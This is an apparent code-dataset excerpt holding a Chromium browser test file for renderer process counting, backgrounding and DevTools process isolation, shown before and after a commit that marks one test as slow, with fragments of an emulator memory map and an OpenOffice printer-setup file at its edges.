\/\/ Not usable\n }\n else if (address >= 0xff00 && address < 0xff80)\n {\n \/\/ IO registers\n }\n else if (address >= 0xff80 && address < 0xffff)\n {\n \/\/ HRAM - High RAM\n }\n else if (address == 0xffff)\n {\n \/\/ Interrupt enable register\n }\n else\n {\n \/\/ Should never get here\n abort();\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/command_line.h\"\n#include \"chrome\/browser\/devtools\/devtools_window.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/browser\/ui\/browser_commands.h\"\n#include \"chrome\/browser\/ui\/singleton_tabs.h\"\n#include \"chrome\/browser\/ui\/tabs\/tab_strip_model.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"chrome\/test\/base\/in_process_browser_test.h\"\n#include \"chrome\/test\/base\/ui_test_utils.h\"\n#include \"content\/public\/browser\/notification_service.h\"\n#include \"content\/public\/browser\/render_process_host.h\"\n#include \"content\/public\/browser\/render_view_host.h\"\n#include \"content\/public\/browser\/web_contents.h\"\n\nusing content::RenderViewHost;\nusing content::RenderWidgetHost;\nusing content::WebContents;\n\nnamespace {\n\nint RenderProcessHostCount() {\n content::RenderProcessHost::iterator hosts =\n content::RenderProcessHost::AllHostsIterator();\n int count = 0;\n while (!hosts.IsAtEnd()) {\n if (hosts.GetCurrentValue()->HasConnection())\n count++;\n hosts.Advance();\n }\n return count;\n}\n\nRenderViewHost* FindFirstDevToolsHost() {\n content::RenderProcessHost::iterator hosts =\n content::RenderProcessHost::AllHostsIterator();\n for (; !hosts.IsAtEnd(); hosts.Advance()) {\n content::RenderProcessHost* render_process_host = hosts.GetCurrentValue();\n DCHECK(render_process_host);\n if (!render_process_host->HasConnection())\n continue;\n content::RenderProcessHost::RenderWidgetHostsIterator iter(\n render_process_host->GetRenderWidgetHostsIterator());\n for (; !iter.IsAtEnd(); iter.Advance()) {\n const RenderWidgetHost* widget = iter.GetCurrentValue();\n DCHECK(widget);\n if (!widget || !widget->IsRenderView())\n continue;\n RenderViewHost* host =\n RenderViewHost::From(const_cast<RenderWidgetHost*>(widget));\n WebContents* contents = WebContents::FromRenderViewHost(host);\n GURL url = contents->GetURL();\n if (url.SchemeIs(chrome::kChromeDevToolsScheme))\n return host;\n }\n }\n return NULL;\n}\n\n} \/\/ namespace\n\nclass ChromeRenderProcessHostTest : public InProcessBrowserTest {\n public:\n ChromeRenderProcessHostTest() {}\n\n \/\/ Show a tab, activating the current one if there is one, and wait for\n \/\/ the renderer process to be created or foregrounded, returning the process\n \/\/ handle.\n base::ProcessHandle ShowSingletonTab(const GURL& page) {\n chrome::ShowSingletonTab(browser(), page);\n WebContents* wc = browser()->tab_strip_model()->GetActiveWebContents();\n CHECK(wc->GetURL() == page);\n\n \/\/ Ensure that the backgrounding \/ foregrounding gets a chance to run.\n content::BrowserThread::PostTaskAndReply(\n content::BrowserThread::PROCESS_LAUNCHER, FROM_HERE,\n base::Bind(&base::DoNothing), MessageLoop::QuitClosure());\n MessageLoop::current()->Run();\n\n return wc->GetRenderProcessHost()->GetHandle();\n }\n\n \/\/ When we hit the max number of renderers, verify that the way we do process\n \/\/ sharing behaves correctly. In particular, this test is verifying that even\n \/\/ when we hit the max process limit, that renderers of each type will wind up\n \/\/ in a process of that type, even if that means creating a new process.\n void TestProcessOverflow() {\n int tab_count = 1;\n int host_count = 1;\n WebContents* tab1 = NULL;\n WebContents* tab2 = NULL;\n content::RenderProcessHost* rph1 = NULL;\n content::RenderProcessHost* rph2 = NULL;\n content::RenderProcessHost* rph3 = NULL;\n\n \/\/ Change the first tab to be the new tab page (TYPE_WEBUI).\n GURL newtab(chrome::kChromeUINewTabURL);\n ui_test_utils::NavigateToURL(browser(), newtab);\n EXPECT_EQ(tab_count, browser()->tab_strip_model()->count());\n tab1 = browser()->tab_strip_model()->GetWebContentsAt(tab_count - 1);\n rph1 = tab1->GetRenderProcessHost();\n EXPECT_EQ(tab1->GetURL(), newtab);\n EXPECT_EQ(host_count, RenderProcessHostCount());\n\n \/\/ Create a new TYPE_TABBED tab. It should be in its own process.\n GURL page1(\"data:text\/html,hello world1\");\n\n ui_test_utils::WindowedTabAddedNotificationObserver observer1(\n content::NotificationService::AllSources());\n chrome::ShowSingletonTab(browser(), page1);\n observer1.Wait();\n\n tab_count++;\n host_count++;\n EXPECT_EQ(tab_count, browser()->tab_strip_model()->count());\n tab1 = browser()->tab_strip_model()->GetWebContentsAt(tab_count - 1);\n rph2 = tab1->GetRenderProcessHost();\n EXPECT_EQ(tab1->GetURL(), page1);\n EXPECT_EQ(host_count, RenderProcessHostCount());\n EXPECT_NE(rph1, rph2);\n\n \/\/ Create another TYPE_TABBED tab. It should share the previous process.\n GURL page2(\"data:text\/html,hello world2\");\n ui_test_utils::WindowedTabAddedNotificationObserver observer2(\n content::NotificationService::AllSources());\n chrome::ShowSingletonTab(browser(), page2);\n observer2.Wait();\n tab_count++;\n EXPECT_EQ(tab_count, browser()->tab_strip_model()->count());\n tab2 = browser()->tab_strip_model()->GetWebContentsAt(tab_count - 1);\n EXPECT_EQ(tab2->GetURL(), page2);\n EXPECT_EQ(host_count, RenderProcessHostCount());\n EXPECT_EQ(tab2->GetRenderProcessHost(), rph2);\n\n \/\/ Create another TYPE_WEBUI tab. It should share the process with newtab.\n \/\/ Note: intentionally create this tab after the TYPE_TABBED tabs to\n \/\/ exercise bug 43448 where extension and WebUI tabs could get combined into\n \/\/ normal renderers.\n GURL history(chrome::kChromeUIHistoryURL);\n ui_test_utils::WindowedTabAddedNotificationObserver observer3(\n content::NotificationService::AllSources());\n chrome::ShowSingletonTab(browser(), history);\n observer3.Wait();\n tab_count++;\n EXPECT_EQ(tab_count, browser()->tab_strip_model()->count());\n tab2 = browser()->tab_strip_model()->GetWebContentsAt(tab_count - 1);\n EXPECT_EQ(tab2->GetURL(), GURL(history));\n EXPECT_EQ(host_count, RenderProcessHostCount());\n EXPECT_EQ(tab2->GetRenderProcessHost(), rph1);\n\n \/\/ Create a TYPE_EXTENSION tab. It should be in its own process.\n \/\/ (the bookmark manager is implemented as an extension)\n GURL bookmarks(chrome::kChromeUIBookmarksURL);\n ui_test_utils::WindowedTabAddedNotificationObserver observer4(\n content::NotificationService::AllSources());\n chrome::ShowSingletonTab(browser(), bookmarks);\n observer4.Wait();\n tab_count++;\n host_count++;\n EXPECT_EQ(tab_count, browser()->tab_strip_model()->count());\n tab1 = browser()->tab_strip_model()->GetWebContentsAt(tab_count - 1);\n rph3 = tab1->GetRenderProcessHost();\n EXPECT_EQ(tab1->GetURL(), bookmarks);\n EXPECT_EQ(host_count, RenderProcessHostCount());\n EXPECT_NE(rph1, rph3);\n EXPECT_NE(rph2, rph3);\n }\n};\n\n\nclass ChromeRenderProcessHostTestWithCommandLine\n : public ChromeRenderProcessHostTest {\n protected:\n virtual void SetUpCommandLine(CommandLine* command_line) OVERRIDE {\n command_line->AppendSwitchASCII(switches::kRendererProcessLimit, \"1\");\n }\n};\n\nIN_PROC_BROWSER_TEST_F(ChromeRenderProcessHostTest, ProcessPerTab) {\n \/\/ Set max renderers to 1 to force running out of processes.\n content::RenderProcessHost::SetMaxRendererProcessCount(1);\n\n CommandLine& parsed_command_line = *CommandLine::ForCurrentProcess();\n parsed_command_line.AppendSwitch(switches::kProcessPerTab);\n\n int tab_count = 1;\n int host_count = 1;\n\n \/\/ Change the first tab to be the new tab page (TYPE_WEBUI).\n GURL newtab(chrome::kChromeUINewTabURL);\n ui_test_utils::NavigateToURL(browser(), newtab);\n EXPECT_EQ(tab_count, browser()->tab_strip_model()->count());\n EXPECT_EQ(host_count, RenderProcessHostCount());\n\n \/\/ Create a new TYPE_TABBED tab. It should be in its own process.\n GURL page1(\"data:text\/html,hello world1\");\n ui_test_utils::WindowedTabAddedNotificationObserver observer1(\n content::NotificationService::AllSources());\n chrome::ShowSingletonTab(browser(), page1);\n observer1.Wait();\n tab_count++;\n host_count++;\n EXPECT_EQ(tab_count, browser()->tab_strip_model()->count());\n EXPECT_EQ(host_count, RenderProcessHostCount());\n\n \/\/ Create another TYPE_TABBED tab. It should share the previous process.\n GURL page2(\"data:text\/html,hello world2\");\n ui_test_utils::WindowedTabAddedNotificationObserver observer2(\n content::NotificationService::AllSources());\n chrome::ShowSingletonTab(browser(), page2);\n observer2.Wait();\n tab_count++;\n EXPECT_EQ(tab_count, browser()->tab_strip_model()->count());\n EXPECT_EQ(host_count, RenderProcessHostCount());\n\n \/\/ Create another new tab. It should share the process with the other WebUI.\n ui_test_utils::WindowedTabAddedNotificationObserver observer3(\n content::NotificationService::AllSources());\n chrome::NewTab(browser());\n observer3.Wait();\n tab_count++;\n EXPECT_EQ(tab_count, browser()->tab_strip_model()->count());\n EXPECT_EQ(host_count, RenderProcessHostCount());\n\n \/\/ Create another new tab. It should share the process with the other WebUI.\n ui_test_utils::WindowedTabAddedNotificationObserver observer4(\n content::NotificationService::AllSources());\n chrome::NewTab(browser());\n observer4.Wait();\n tab_count++;\n EXPECT_EQ(tab_count, browser()->tab_strip_model()->count());\n EXPECT_EQ(host_count, RenderProcessHostCount());\n}\n\n\/\/ We don't change process priorities on Mac or Posix because the user lacks the\n\/\/ permission to raise a process' priority even after lowering it.\n#if defined(OS_WIN) || defined(OS_LINUX)\nIN_PROC_BROWSER_TEST_F(ChromeRenderProcessHostTest, Backgrounding) {\n if (!base::Process::CanBackgroundProcesses()) {\n LOG(ERROR) << \"Can't background processes\";\n return;\n }\n CommandLine& parsed_command_line = *CommandLine::ForCurrentProcess();\n parsed_command_line.AppendSwitch(switches::kProcessPerTab);\n\n \/\/ Change the first tab to be the new tab page (TYPE_WEBUI).\n GURL newtab(chrome::kChromeUINewTabURL);\n ui_test_utils::NavigateToURL(browser(), newtab);\n\n \/\/ Create a new tab. It should be foreground.\n GURL page1(\"data:text\/html,hello world1\");\n base::ProcessHandle pid1 = ShowSingletonTab(page1);\n EXPECT_FALSE(base::Process(pid1).IsProcessBackgrounded());\n\n \/\/ Create another tab. It should be foreground, and the first tab should\n \/\/ now be background.\n GURL page2(\"data:text\/html,hello world2\");\n base::ProcessHandle pid2 = ShowSingletonTab(page2);\n EXPECT_NE(pid1, pid2);\n EXPECT_TRUE(base::Process(pid1).IsProcessBackgrounded());\n EXPECT_FALSE(base::Process(pid2).IsProcessBackgrounded());\n\n \/\/ Navigate back to first page. It should be foreground again, and the second\n \/\/ tab should be background.\n EXPECT_EQ(pid1, ShowSingletonTab(page1));\n EXPECT_FALSE(base::Process(pid1).IsProcessBackgrounded());\n EXPECT_TRUE(base::Process(pid2).IsProcessBackgrounded());\n}\n#endif\n\nIN_PROC_BROWSER_TEST_F(ChromeRenderProcessHostTest, ProcessOverflow) {\n \/\/ Set max renderers to 1 to force running out of processes.\n content::RenderProcessHost::SetMaxRendererProcessCount(1);\n TestProcessOverflow();\n}\n\n\/\/ Variation of the ProcessOverflow test, which is driven through command line\n\/\/ parameter instead of direct function call into the class.\nIN_PROC_BROWSER_TEST_F(ChromeRenderProcessHostTestWithCommandLine,\n ProcessOverflow) {\n TestProcessOverflow();\n}\n\n\/\/ Ensure that DevTools opened to debug DevTools is launched in a separate\n\/\/ process when --process-per-tab is set. See crbug.com\/69873.\nIN_PROC_BROWSER_TEST_F(ChromeRenderProcessHostTest,\n DevToolsOnSelfInOwnProcessPPT) {\n CommandLine& parsed_command_line = *CommandLine::ForCurrentProcess();\n parsed_command_line.AppendSwitch(switches::kProcessPerTab);\n\n int tab_count = 1;\n int host_count = 1;\n\n GURL page1(\"data:text\/html,hello world1\");\n ui_test_utils::WindowedTabAddedNotificationObserver observer1(\n content::NotificationService::AllSources());\n chrome::ShowSingletonTab(browser(), page1);\n observer1.Wait();\n tab_count++;\n host_count++;\n EXPECT_EQ(tab_count, browser()->tab_strip_model()->count());\n EXPECT_EQ(host_count, RenderProcessHostCount());\n\n \/\/ DevTools start in docked mode (no new tab), in a separate process.\n chrome::ToggleDevToolsWindow(browser(), DEVTOOLS_TOGGLE_ACTION_INSPECT);\n host_count++;\n EXPECT_EQ(tab_count, browser()->tab_strip_model()->count());\n EXPECT_EQ(host_count, RenderProcessHostCount());\n\n RenderViewHost* devtools = FindFirstDevToolsHost();\n DCHECK(devtools);\n\n \/\/ DevTools start in a separate process.\n DevToolsWindow::ToggleDevToolsWindow(\n devtools, true, DEVTOOLS_TOGGLE_ACTION_INSPECT);\n host_count++;\n EXPECT_EQ(tab_count, browser()->tab_strip_model()->count());\n EXPECT_EQ(host_count, RenderProcessHostCount());\n}\n\n\/\/ Ensure that DevTools opened to debug DevTools is launched in a separate\n\/\/ process. See crbug.com\/69873.\nIN_PROC_BROWSER_TEST_F(ChromeRenderProcessHostTest,\n DevToolsOnSelfInOwnProcess) {\n int tab_count = 1;\n int host_count = 1;\n\n GURL page1(\"data:text\/html,hello world1\");\n ui_test_utils::WindowedTabAddedNotificationObserver observer1(\n content::NotificationService::AllSources());\n chrome::ShowSingletonTab(browser(), page1);\n observer1.Wait();\n tab_count++;\n host_count++;\n EXPECT_EQ(tab_count, browser()->tab_strip_model()->count());\n EXPECT_EQ(host_count, RenderProcessHostCount());\n\n \/\/ DevTools start in docked mode (no new tab), in a separate process.\n chrome::ToggleDevToolsWindow(browser(), DEVTOOLS_TOGGLE_ACTION_INSPECT);\n host_count++;\n EXPECT_EQ(tab_count, browser()->tab_strip_model()->count());\n EXPECT_EQ(host_count, RenderProcessHostCount());\n\n RenderViewHost* devtools = FindFirstDevToolsHost();\n DCHECK(devtools);\n\n \/\/ DevTools start in a separate process.\n DevToolsWindow::ToggleDevToolsWindow(\n devtools, true, DEVTOOLS_TOGGLE_ACTION_INSPECT);\n host_count++;\n EXPECT_EQ(tab_count, browser()->tab_strip_model()->count());\n EXPECT_EQ(host_count, RenderProcessHostCount());\n}\n<commit_msg>Mark ProcessOverflow test as SLOW<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/command_line.h\"\n#include \"chrome\/browser\/devtools\/devtools_window.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/browser\/ui\/browser_commands.h\"\n#include \"chrome\/browser\/ui\/singleton_tabs.h\"\n#include \"chrome\/browser\/ui\/tabs\/tab_strip_model.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"chrome\/test\/base\/in_process_browser_test.h\"\n#include \"chrome\/test\/base\/ui_test_utils.h\"\n#include \"content\/public\/browser\/notification_service.h\"\n#include \"content\/public\/browser\/render_process_host.h\"\n#include \"content\/public\/browser\/render_view_host.h\"\n#include \"content\/public\/browser\/web_contents.h\"\n\nusing content::RenderViewHost;\nusing content::RenderWidgetHost;\nusing content::WebContents;\n\nnamespace {\n\nint RenderProcessHostCount() {\n content::RenderProcessHost::iterator hosts =\n content::RenderProcessHost::AllHostsIterator();\n int count = 0;\n while (!hosts.IsAtEnd()) {\n if (hosts.GetCurrentValue()->HasConnection())\n count++;\n hosts.Advance();\n }\n return count;\n}\n\nRenderViewHost* FindFirstDevToolsHost() {\n content::RenderProcessHost::iterator hosts =\n content::RenderProcessHost::AllHostsIterator();\n for (; !hosts.IsAtEnd(); hosts.Advance()) {\n content::RenderProcessHost* render_process_host = hosts.GetCurrentValue();\n DCHECK(render_process_host);\n if (!render_process_host->HasConnection())\n continue;\n content::RenderProcessHost::RenderWidgetHostsIterator iter(\n render_process_host->GetRenderWidgetHostsIterator());\n for (; !iter.IsAtEnd(); iter.Advance()) {\n const RenderWidgetHost* widget = iter.GetCurrentValue();\n DCHECK(widget);\n if (!widget || !widget->IsRenderView())\n continue;\n RenderViewHost* host =\n RenderViewHost::From(const_cast<RenderWidgetHost*>(widget));\n WebContents* contents = WebContents::FromRenderViewHost(host);\n GURL url = contents->GetURL();\n if (url.SchemeIs(chrome::kChromeDevToolsScheme))\n return host;\n }\n }\n return NULL;\n}\n\n} \/\/ namespace\n\nclass ChromeRenderProcessHostTest : public InProcessBrowserTest {\n public:\n ChromeRenderProcessHostTest() {}\n\n \/\/ Show a tab, activating the current one if there is one, and wait for\n \/\/ the renderer process to be created or foregrounded, returning the process\n \/\/ handle.\n base::ProcessHandle ShowSingletonTab(const GURL& page) {\n chrome::ShowSingletonTab(browser(), page);\n WebContents* wc = browser()->tab_strip_model()->GetActiveWebContents();\n CHECK(wc->GetURL() == page);\n\n \/\/ Ensure that the backgrounding \/ foregrounding gets a chance to run.\n content::BrowserThread::PostTaskAndReply(\n content::BrowserThread::PROCESS_LAUNCHER, FROM_HERE,\n base::Bind(&base::DoNothing), MessageLoop::QuitClosure());\n MessageLoop::current()->Run();\n\n return wc->GetRenderProcessHost()->GetHandle();\n }\n\n \/\/ When we hit the max number of renderers, verify that the way we do process\n \/\/ sharing behaves correctly. In particular, this test is verifying that even\n \/\/ when we hit the max process limit, that renderers of each type will wind up\n \/\/ in a process of that type, even if that means creating a new process.\n void TestProcessOverflow() {\n int tab_count = 1;\n int host_count = 1;\n WebContents* tab1 = NULL;\n WebContents* tab2 = NULL;\n content::RenderProcessHost* rph1 = NULL;\n content::RenderProcessHost* rph2 = NULL;\n content::RenderProcessHost* rph3 = NULL;\n\n \/\/ Change the first tab to be the new tab page (TYPE_WEBUI).\n GURL newtab(chrome::kChromeUINewTabURL);\n ui_test_utils::NavigateToURL(browser(), newtab);\n EXPECT_EQ(tab_count, browser()->tab_strip_model()->count());\n tab1 = browser()->tab_strip_model()->GetWebContentsAt(tab_count - 1);\n rph1 = tab1->GetRenderProcessHost();\n EXPECT_EQ(tab1->GetURL(), newtab);\n EXPECT_EQ(host_count, RenderProcessHostCount());\n\n \/\/ Create a new TYPE_TABBED tab. It should be in its own process.\n GURL page1(\"data:text\/html,hello world1\");\n\n ui_test_utils::WindowedTabAddedNotificationObserver observer1(\n content::NotificationService::AllSources());\n chrome::ShowSingletonTab(browser(), page1);\n observer1.Wait();\n\n tab_count++;\n host_count++;\n EXPECT_EQ(tab_count, browser()->tab_strip_model()->count());\n tab1 = browser()->tab_strip_model()->GetWebContentsAt(tab_count - 1);\n rph2 = tab1->GetRenderProcessHost();\n EXPECT_EQ(tab1->GetURL(), page1);\n EXPECT_EQ(host_count, RenderProcessHostCount());\n EXPECT_NE(rph1, rph2);\n\n \/\/ Create another TYPE_TABBED tab. It should share the previous process.\n GURL page2(\"data:text\/html,hello world2\");\n ui_test_utils::WindowedTabAddedNotificationObserver observer2(\n content::NotificationService::AllSources());\n chrome::ShowSingletonTab(browser(), page2);\n observer2.Wait();\n tab_count++;\n EXPECT_EQ(tab_count, browser()->tab_strip_model()->count());\n tab2 = browser()->tab_strip_model()->GetWebContentsAt(tab_count - 1);\n EXPECT_EQ(tab2->GetURL(), page2);\n EXPECT_EQ(host_count, RenderProcessHostCount());\n EXPECT_EQ(tab2->GetRenderProcessHost(), rph2);\n\n \/\/ Create another TYPE_WEBUI tab. It should share the process with newtab.\n \/\/ Note: intentionally create this tab after the TYPE_TABBED tabs to\n \/\/ exercise bug 43448 where extension and WebUI tabs could get combined into\n \/\/ normal renderers.\n GURL history(chrome::kChromeUIHistoryURL);\n ui_test_utils::WindowedTabAddedNotificationObserver observer3(\n content::NotificationService::AllSources());\n chrome::ShowSingletonTab(browser(), history);\n observer3.Wait();\n tab_count++;\n EXPECT_EQ(tab_count, browser()->tab_strip_model()->count());\n tab2 = browser()->tab_strip_model()->GetWebContentsAt(tab_count - 1);\n EXPECT_EQ(tab2->GetURL(), GURL(history));\n EXPECT_EQ(host_count, RenderProcessHostCount());\n EXPECT_EQ(tab2->GetRenderProcessHost(), rph1);\n\n \/\/ Create a TYPE_EXTENSION tab. It should be in its own process.\n \/\/ (the bookmark manager is implemented as an extension)\n GURL bookmarks(chrome::kChromeUIBookmarksURL);\n ui_test_utils::WindowedTabAddedNotificationObserver observer4(\n content::NotificationService::AllSources());\n chrome::ShowSingletonTab(browser(), bookmarks);\n observer4.Wait();\n tab_count++;\n host_count++;\n EXPECT_EQ(tab_count, browser()->tab_strip_model()->count());\n tab1 = browser()->tab_strip_model()->GetWebContentsAt(tab_count - 1);\n rph3 = tab1->GetRenderProcessHost();\n EXPECT_EQ(tab1->GetURL(), bookmarks);\n EXPECT_EQ(host_count, RenderProcessHostCount());\n EXPECT_NE(rph1, rph3);\n EXPECT_NE(rph2, rph3);\n }\n};\n\n\nclass ChromeRenderProcessHostTestWithCommandLine\n : public ChromeRenderProcessHostTest {\n protected:\n virtual void SetUpCommandLine(CommandLine* command_line) OVERRIDE {\n command_line->AppendSwitchASCII(switches::kRendererProcessLimit, \"1\");\n }\n};\n\nIN_PROC_BROWSER_TEST_F(ChromeRenderProcessHostTest, ProcessPerTab) {\n \/\/ Set max renderers to 1 to force running out of processes.\n content::RenderProcessHost::SetMaxRendererProcessCount(1);\n\n CommandLine& parsed_command_line = *CommandLine::ForCurrentProcess();\n parsed_command_line.AppendSwitch(switches::kProcessPerTab);\n\n int tab_count = 1;\n int host_count = 1;\n\n \/\/ Change the first tab to be the new tab page (TYPE_WEBUI).\n GURL newtab(chrome::kChromeUINewTabURL);\n ui_test_utils::NavigateToURL(browser(), newtab);\n EXPECT_EQ(tab_count, browser()->tab_strip_model()->count());\n EXPECT_EQ(host_count, RenderProcessHostCount());\n\n \/\/ Create a new TYPE_TABBED tab. It should be in its own process.\n GURL page1(\"data:text\/html,hello world1\");\n ui_test_utils::WindowedTabAddedNotificationObserver observer1(\n content::NotificationService::AllSources());\n chrome::ShowSingletonTab(browser(), page1);\n observer1.Wait();\n tab_count++;\n host_count++;\n EXPECT_EQ(tab_count, browser()->tab_strip_model()->count());\n EXPECT_EQ(host_count, RenderProcessHostCount());\n\n \/\/ Create another TYPE_TABBED tab. It should share the previous process.\n GURL page2(\"data:text\/html,hello world2\");\n ui_test_utils::WindowedTabAddedNotificationObserver observer2(\n content::NotificationService::AllSources());\n chrome::ShowSingletonTab(browser(), page2);\n observer2.Wait();\n tab_count++;\n EXPECT_EQ(tab_count, browser()->tab_strip_model()->count());\n EXPECT_EQ(host_count, RenderProcessHostCount());\n\n \/\/ Create another new tab. It should share the process with the other WebUI.\n ui_test_utils::WindowedTabAddedNotificationObserver observer3(\n content::NotificationService::AllSources());\n chrome::NewTab(browser());\n observer3.Wait();\n tab_count++;\n EXPECT_EQ(tab_count, browser()->tab_strip_model()->count());\n EXPECT_EQ(host_count, RenderProcessHostCount());\n\n \/\/ Create another new tab. It should share the process with the other WebUI.\n ui_test_utils::WindowedTabAddedNotificationObserver observer4(\n content::NotificationService::AllSources());\n chrome::NewTab(browser());\n observer4.Wait();\n tab_count++;\n EXPECT_EQ(tab_count, browser()->tab_strip_model()->count());\n EXPECT_EQ(host_count, RenderProcessHostCount());\n}\n\n\/\/ We don't change process priorities on Mac or Posix because the user lacks the\n\/\/ permission to raise a process' priority even after lowering it.\n#if defined(OS_WIN) || defined(OS_LINUX)\nIN_PROC_BROWSER_TEST_F(ChromeRenderProcessHostTest, Backgrounding) {\n if (!base::Process::CanBackgroundProcesses()) {\n LOG(ERROR) << \"Can't background processes\";\n return;\n }\n CommandLine& parsed_command_line = *CommandLine::ForCurrentProcess();\n parsed_command_line.AppendSwitch(switches::kProcessPerTab);\n\n \/\/ Change the first tab to be the new tab page (TYPE_WEBUI).\n GURL newtab(chrome::kChromeUINewTabURL);\n ui_test_utils::NavigateToURL(browser(), newtab);\n\n \/\/ Create a new tab. It should be foreground.\n GURL page1(\"data:text\/html,hello world1\");\n base::ProcessHandle pid1 = ShowSingletonTab(page1);\n EXPECT_FALSE(base::Process(pid1).IsProcessBackgrounded());\n\n \/\/ Create another tab. It should be foreground, and the first tab should\n \/\/ now be background.\n GURL page2(\"data:text\/html,hello world2\");\n base::ProcessHandle pid2 = ShowSingletonTab(page2);\n EXPECT_NE(pid1, pid2);\n EXPECT_TRUE(base::Process(pid1).IsProcessBackgrounded());\n EXPECT_FALSE(base::Process(pid2).IsProcessBackgrounded());\n\n \/\/ Navigate back to first page. It should be foreground again, and the second\n \/\/ tab should be background.\n EXPECT_EQ(pid1, ShowSingletonTab(page1));\n EXPECT_FALSE(base::Process(pid1).IsProcessBackgrounded());\n EXPECT_TRUE(base::Process(pid2).IsProcessBackgrounded());\n}\n#endif\n\nIN_PROC_BROWSER_TEST_F(ChromeRenderProcessHostTest, SLOW_ProcessOverflow) {\n \/\/ Set max renderers to 1 to force running out of processes.\n content::RenderProcessHost::SetMaxRendererProcessCount(1);\n TestProcessOverflow();\n}\n\n\/\/ Variation of the ProcessOverflow test, which is driven through command line\n\/\/ parameter instead of direct function call into the class.\nIN_PROC_BROWSER_TEST_F(ChromeRenderProcessHostTestWithCommandLine,\n ProcessOverflow) {\n TestProcessOverflow();\n}\n\n\/\/ Ensure that DevTools opened to debug DevTools is launched in a separate\n\/\/ process when --process-per-tab is set. See crbug.com\/69873.\nIN_PROC_BROWSER_TEST_F(ChromeRenderProcessHostTest,\n DevToolsOnSelfInOwnProcessPPT) {\n CommandLine& parsed_command_line = *CommandLine::ForCurrentProcess();\n parsed_command_line.AppendSwitch(switches::kProcessPerTab);\n\n int tab_count = 1;\n int host_count = 1;\n\n GURL page1(\"data:text\/html,hello world1\");\n ui_test_utils::WindowedTabAddedNotificationObserver observer1(\n content::NotificationService::AllSources());\n chrome::ShowSingletonTab(browser(), page1);\n observer1.Wait();\n tab_count++;\n host_count++;\n EXPECT_EQ(tab_count, browser()->tab_strip_model()->count());\n EXPECT_EQ(host_count, RenderProcessHostCount());\n\n \/\/ DevTools start in docked mode (no new tab), in a separate process.\n chrome::ToggleDevToolsWindow(browser(), DEVTOOLS_TOGGLE_ACTION_INSPECT);\n host_count++;\n EXPECT_EQ(tab_count, browser()->tab_strip_model()->count());\n EXPECT_EQ(host_count, RenderProcessHostCount());\n\n RenderViewHost* devtools = FindFirstDevToolsHost();\n DCHECK(devtools);\n\n \/\/ DevTools start in a separate process.\n DevToolsWindow::ToggleDevToolsWindow(\n devtools, true, DEVTOOLS_TOGGLE_ACTION_INSPECT);\n host_count++;\n EXPECT_EQ(tab_count, browser()->tab_strip_model()->count());\n EXPECT_EQ(host_count, RenderProcessHostCount());\n}\n\n\/\/ Ensure that DevTools opened to debug DevTools is launched in a separate\n\/\/ process. See crbug.com\/69873.\nIN_PROC_BROWSER_TEST_F(ChromeRenderProcessHostTest,\n DevToolsOnSelfInOwnProcess) {\n int tab_count = 1;\n int host_count = 1;\n\n GURL page1(\"data:text\/html,hello world1\");\n ui_test_utils::WindowedTabAddedNotificationObserver observer1(\n content::NotificationService::AllSources());\n chrome::ShowSingletonTab(browser(), page1);\n observer1.Wait();\n tab_count++;\n host_count++;\n EXPECT_EQ(tab_count, browser()->tab_strip_model()->count());\n EXPECT_EQ(host_count, RenderProcessHostCount());\n\n \/\/ DevTools start in docked mode (no new tab), in a separate process.\n chrome::ToggleDevToolsWindow(browser(), DEVTOOLS_TOGGLE_ACTION_INSPECT);\n host_count++;\n EXPECT_EQ(tab_count, browser()->tab_strip_model()->count());\n EXPECT_EQ(host_count, RenderProcessHostCount());\n\n RenderViewHost* devtools = FindFirstDevToolsHost();\n DCHECK(devtools);\n\n \/\/ DevTools start in a separate process.\n DevToolsWindow::ToggleDevToolsWindow(\n devtools, true, DEVTOOLS_TOGGLE_ACTION_INSPECT);\n host_count++;\n EXPECT_EQ(tab_count, browser()->tab_strip_model()->count());\n EXPECT_EQ(host_count, RenderProcessHostCount());\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: prnsetup.cxx,v $\n * $Revision: 1.10 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_svtools.hxx\"\n#include <tools\/debug.hxx>\n#ifndef _VCL_PRINT_HXX\n#include <vcl\/print.hxx>\n#endif\n\n#ifndef GCC\n#endif\n\n#include <svtools\/svtdata.hxx>\n#include \"prnsetup.hrc\"\n#include <svtools\/prnsetup.hxx>\n\n\/\/ =======================================================================\n\nvoid ImplFillPrnDlgListBox( const Printer* pPrinter,\n ListBox* pBox, PushButton* pPropBtn )\n{\n ImplFreePrnDlgListBox( pBox );\n\n const std::vector<rtl::OUString>& rPrinters = Printer::GetPrinterQueues();\n unsigned int nCount = rPrinters.size();\n if ( nCount )\n {\n for( unsigned int i = 0; i < nCount; i++ )\n pBox->InsertEntry( rPrinters[i] );\n pBox->SelectEntry( pPrinter->GetName() );\n }\n\n pBox->Enable( nCount != 0 );\n pPropBtn->Enable( pPrinter->HasSupport( SUPPORT_SETUPDIALOG ) 